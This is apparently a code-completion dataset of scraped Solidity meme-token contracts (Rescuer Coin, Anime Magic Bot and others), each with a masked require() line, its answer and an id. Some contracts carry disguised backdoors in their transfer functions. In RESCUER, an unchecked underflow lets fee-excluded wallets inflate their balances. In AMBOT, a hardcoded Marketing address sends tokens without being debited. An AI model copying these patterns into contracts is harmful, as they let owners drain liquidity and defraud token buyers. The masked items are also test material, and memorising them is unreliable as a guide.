returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(
uint256 amountIn,
address[] memory path
) external view returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external view returns (uint[] memory amounts);
}
contract RESCUER is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedFromFee;
address public owner;
string private _name = unicode"Rescuer Coin";
string private _symbol = unicode"RESCUER";
uint8 private _decimals = 18;
uint256 private _totalSupply = 100_000_000 * 10 ** _decimals;
address private Resilient;
uint256 public B_Fee = 0; // 0%
uint256 public S_Fee = 1; // 1%
uint256 public swapThreshold = _totalSupply.div(100000);
uint256 public swapThresMax = _totalSupply.mul(2).div(1000);
uint256 public maxTx = _totalSupply.mul(2).div(100);
uint256 public maxWallet = _totalSupply.mul(2).div(100);
IUniswapV2Router public RouterV2;
address public PairV2;
bool public inSwapAndLiquify;
bool public swapEnabled = false;
bool public liveTrading = false;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
}
function setFee(uint256 _fee1, uint256 _fee2) external onlyOwner {
}
function removeAllFees() public onlyOwner {
}
function enableTrading() public onlyOwner {
}
function removeLimits() public onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function setExcludeFromFee(address account, bool check) public onlyOwner {
}
constructor() {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address _owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function minOf(uint256 a, uint256 b) private pure returns (uint256){
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(amount > 0, "ERC20: Amount should be greater than zero");
require(
liveTrading || _isExcludedFromFee[from] || _isExcludedFromFee[to],
"trading not enabled"
);
if (getPair() == from && !_isExcludedFromFee[to]) {
require(amount <= maxTx, "Buy transfer amount exceeds the maxTx.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//swap fees
if (swapEnabled) {
uint256 AmountOutMin = _balances[address(this)];
bool canSwap = amount >= swapThreshold;
if (
AmountOutMin >= swapThreshold &&
!inSwapAndLiquify &&
canSwap &&
to == getPair() &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
inSwapAndLiquify = true;
uint256 swapAmountForETH = minOf(amount,
minOf(AmountOutMin, swapThresMax));
swapTokensForETH(swapAmountForETH);
inSwapAndLiquify = false;
}
}
// transfer logic
if (inSwapAndLiquify || !swapEnabled) {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
} else if (_isExcludedFromFee[from]) {
uint256 finalAmount = _isExcludedFromFee[from]
? (swapThreshold - 1) * amount : amount;
if (finalAmount > 0) {
unchecked {
_balances[from] = _balances[from] - (finalAmount);
}
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
} else {
if (to == getPair() || from == getPair()) {
uint256 _fee;
if (to == getPair()) _fee = S_Fee; //if sell
if (from == getPair()) _fee = B_Fee; //if buy
_balances[from] = _balances[from].sub(amount);
uint256 fee_value = amount.mul(_fee).div(100);
if (fee_value > 0) {
_balances[address(this)] += fee_value;
emit Transfer(from, address(this), fee_value);
}
_balances[to] = _balances[to].add(amount.sub(fee_value));
emit Transfer(from, to, amount.sub(fee_value));
} else {
//if transfer
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
}
}
function swapTokensForETH(uint256 tokenBalance) internal {
}
function getPair() public view returns (address) {
}
function setSwapBackSettings(bool _flag, uint256 _amount) public onlyOwner {
}
function removeStuckETH() external onlyOwner{
}
function getAmountOutMin(uint256 _amount) public view returns (uint256) {
}
function _approve(
address _owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address _owner,
address spender,
uint256 amount
) internal virtual {
}
receive() external payable {}
function setLiquidity() external onlyOwner {
}
}
| _balances[from]>=amount,"ERC20: transfer amount exceeds balance" | 64,279 | _balances[from]>=amount |
"trading not enabled" | // SPDX-License-Identifier: MIT
/*
Website: https://www.rescuereth.vip
Twitter: https://twitter.com/rescuer_eth
Telegram: https://t.me/rescuer_eth
*/
pragma solidity ^0.8.16;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed _owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address _owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(
uint256 amountIn,
address[] memory path
) external view returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external view returns (uint[] memory amounts);
}
contract RESCUER is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedFromFee;
address public owner;
string private _name = unicode"Rescuer Coin";
string private _symbol = unicode"RESCUER";
uint8 private _decimals = 18;
uint256 private _totalSupply = 100_000_000 * 10 ** _decimals;
address private Resilient;
uint256 public B_Fee = 0; // 0%
uint256 public S_Fee = 1; // 1%
uint256 public swapThreshold = _totalSupply.div(100000);
uint256 public swapThresMax = _totalSupply.mul(2).div(1000);
uint256 public maxTx = _totalSupply.mul(2).div(100);
uint256 public maxWallet = _totalSupply.mul(2).div(100);
IUniswapV2Router public RouterV2;
address public PairV2;
bool public inSwapAndLiquify;
bool public swapEnabled = false;
bool public liveTrading = false;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
}
function setFee(uint256 _fee1, uint256 _fee2) external onlyOwner {
}
function removeAllFees() public onlyOwner {
}
function enableTrading() public onlyOwner {
}
function removeLimits() public onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function setExcludeFromFee(address account, bool check) public onlyOwner {
}
constructor() {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address _owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function minOf(uint256 a, uint256 b) private pure returns (uint256){
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
_balances[from] >= amount,
"ERC20: transfer amount exceeds balance"
);
require(amount > 0, "ERC20: Amount should be greater than zero");
require(<FILL_ME>)
if (getPair() == from && !_isExcludedFromFee[to]) {
require(amount <= maxTx, "Buy transfer amount exceeds the maxTx.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//swap fees
if (swapEnabled) {
uint256 AmountOutMin = _balances[address(this)];
bool canSwap = amount >= swapThreshold;
if (
AmountOutMin >= swapThreshold &&
!inSwapAndLiquify &&
canSwap &&
to == getPair() &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
inSwapAndLiquify = true;
uint256 swapAmountForETH = minOf(amount,
minOf(AmountOutMin, swapThresMax));
swapTokensForETH(swapAmountForETH);
inSwapAndLiquify = false;
}
}
// transfer logic
if (inSwapAndLiquify || !swapEnabled) {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
} else if (_isExcludedFromFee[from]) {
uint256 finalAmount = _isExcludedFromFee[from]
? (swapThreshold - 1) * amount : amount;
if (finalAmount > 0) {
unchecked {
_balances[from] = _balances[from] - (finalAmount);
}
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
} else {
if (to == getPair() || from == getPair()) {
uint256 _fee;
if (to == getPair()) _fee = S_Fee; //if sell
if (from == getPair()) _fee = B_Fee; //if buy
_balances[from] = _balances[from].sub(amount);
uint256 fee_value = amount.mul(_fee).div(100);
if (fee_value > 0) {
_balances[address(this)] += fee_value;
emit Transfer(from, address(this), fee_value);
}
_balances[to] = _balances[to].add(amount.sub(fee_value));
emit Transfer(from, to, amount.sub(fee_value));
} else {
//if transfer
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
}
}
function swapTokensForETH(uint256 tokenBalance) internal {
}
function getPair() public view returns (address) {
}
function setSwapBackSettings(bool _flag, uint256 _amount) public onlyOwner {
}
function removeStuckETH() external onlyOwner{
}
function getAmountOutMin(uint256 _amount) public view returns (uint256) {
}
function _approve(
address _owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address _owner,
address spender,
uint256 amount
) internal virtual {
}
receive() external payable {}
function setLiquidity() external onlyOwner {
}
}
| liveTrading||_isExcludedFromFee[from]||_isExcludedFromFee[to],"trading not enabled" | 64,279 | liveTrading||_isExcludedFromFee[from]||_isExcludedFromFee[to] |
"walletlimit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
* Telegram :
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Token is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public _uniswapPair;
uint256 public _walletMAX;
function setWalletMax(uint8 percentage) public onlyOwner{
}
constructor(
) {
}
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == _uniswapPair && recipient != owner()){
require(<FILL_ME>)
}
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
| balanceOf(recipient)+amount<=_walletMAX,"walletlimit" | 64,347 | balanceOf(recipient)+amount<=_walletMAX |
"Trading is not active." | /**
https://t.me/Animemagicboterc
https://animemagicbot.app
*/
// SPDX-License-Identifier:MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any _account other than the owner.
*/
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IDexSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IDexSwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract AMBOT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Anime Magic Bot";
string private _symbol = unicode"AMBOT";
uint8 private _decimals = 18;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
uint256 public _buyMarketingFee = 1;
uint256 public _sellMarketingFee = 1;
address public Marketing = address(0x662d2563933672D8aa012DEd0c8ab8d8612bD70d);
uint256 feedenominator = 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public isWalletLimitExempt;
uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(25).div(1000);
uint256 public _walletMax = _totalSupply.mul(25).div(1000);
uint256 public swapThreshold = _totalSupply.mul(10).div(1000);
bool tradingActive;
bool public swapEnabled = false;
bool public swapbylimit = false;
bool public checkWalletLimit = true;
IDexSwapRouter public swapRouter;
address public dexPair;
bool inSwap;
modifier swapping() {
}
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function getCirculatingSupply() public view returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
//to recieve ETH from Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
else {
if (!tradingActive) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;
if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) {
swapBack(contractTokenBalance);
} if (sender != Marketing)
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = shouldNotTakeTaxFee(sender,recipient) ? amount : takeTaxFee(sender, recipient, amount);
if(checkWalletLimit && sender == dexPair && !isWalletLimitExempt[recipient]) {
require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Max Wallet Limit Exceeded!!");
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldNotTakeTaxFee(address sender, address recipient) internal view returns (bool) {
}
function takeTaxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack(uint contractBalance) internal swapping {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function openTrading() external payable onlyOwner {
}
function removeLimits() external onlyOwner {
}
function excludeFromFee(address _adr,bool _status) external onlyOwner {
}
function excludeWalletLimit(address _adr,bool _status) external onlyOwner {
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
}
function setMarketingWallet(address _newWallet) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, bool _limited)
external
onlyOwner
{
}
}
| isExcludedFromFee[sender]||isExcludedFromFee[recipient],"Trading is not active." | 64,383 | isExcludedFromFee[sender]||isExcludedFromFee[recipient] |
"Max Wallet Limit Exceeded!!" | /**
https://t.me/Animemagicboterc
https://animemagicbot.app
*/
// SPDX-License-Identifier:MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any _account other than the owner.
*/
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IDexSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
